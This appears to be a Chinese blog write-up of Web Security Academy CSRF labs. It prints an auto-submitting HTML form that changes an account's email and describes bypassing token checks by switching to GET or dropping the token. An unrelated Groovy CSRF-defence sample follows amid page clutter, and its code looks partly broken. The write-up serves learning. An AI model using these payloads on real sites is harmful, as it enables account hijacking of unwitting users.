(三)CSRF实例

CSRF vulnerability with no defenses

电子邮件更改功能容易受到CSRF的攻击。
通过Burp Suite代理访问流量,登录到帐户,更新电子邮件,然后在代理历史记录中查找结果请求。

构造Poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac451f2a1f42217181c428d20037006a.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="609959783&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

即可生成一个伪造的HTML请求,实现攻击。

CSRF where token validation depends on request method

token尝试阻止CSRF攻击,但仅将防御应用于某些类型的请求。

将请求发送到Burp Repeater,观察到如果更改csrf参数的值,则该请求将被拒绝。

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 20

"Invalid CSRF token"

因此我们可以选择更改请求方法,将其转换为GET请求,则其不再验证CSRF token。

接下来然后就重复上个实例得操作即可实现CSRF攻击。

CSRF where token validation depends on token being present

同样上述操作,发现更改csrf参数同样返回

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 20

"Invalid CSRF token"

同样也尝试了修改请求方法,发现也失败了。
那我们换一种思路,直接把csrf参数整个删掉会怎么样呢?
当我们把csrf参数删掉后,发现成功返回请求响应。
因而可以成功实现csrf攻击。

CSRF where token is not tied to user session

使用令牌来尝试防止CSRF攻击,但它们并未集成到站点的会话处理系统中。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个使用 Groovy 和 Java 进行 CSRF 防护的示例: ```groovy import javax.servlet.http.HttpServletRequest // 生成 CSRF 令牌 def generateCSRFToken() { // 在这里实现你的逻辑来生成随机的 CSRF 令牌 // 例如,可以使用 java.util.UUID 类生成唯一的令牌 String token = UUID.randomUUID().toString() return token } // 验证 CSRF 令牌 def validateCSRFToken(HttpServletRequest request) { def session = request.getSession(false) def token = request.getParameter("csrfToken") if (session && token) { def storedToken = session.getAttribute("csrfToken") if (storedToken && storedToken.equals(token)) { // 令牌验证通过 return true } } // 令牌验证失败 return false } // 处理 POST 请求,包括 CSRF 令牌的生成和验证 def handlePostRequest(HttpServletRequest request) { if (request.getMethod() == "POST") { if (validateCSRFToken(request)) { // CSRF 令牌验证通过,执行你的逻辑 // ... return "Post request handled successfully." } else { // CSRF 令牌验证失败,抛出异常或返回错误信息 throw new Exception("CSRF token validation failed.") } } } // 示例用法 def request = new HttpServletRequest() // 实例化 HttpServletRequest 对象,这里需要根据你的实际情况进行调整 // 生成 CSRF 令牌并存储在会话中 def csrfToken = generateCSRFToken() request.getSession().setAttribute("csrfToken", csrfToken) // 将 CSRF 令牌添加到表单中 def form = "<form action='/submit' method='post'>" + "<input type='hidden' name='csrfToken' value='${csrfToken}' />" + // 其他表单字段 "<input type='submit' value='Submit' />" + "</form>" // 处理 POST 请求 def response = handlePostRequest(request) println(form) println(response) ``` 请注意,这只是一个简单的示例,你需要根据你的具体需求和框架来进行适当的调整和扩展。确保在真实应用中使用安全的随机数生成算法和其他安全最佳实践来提高防护效果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值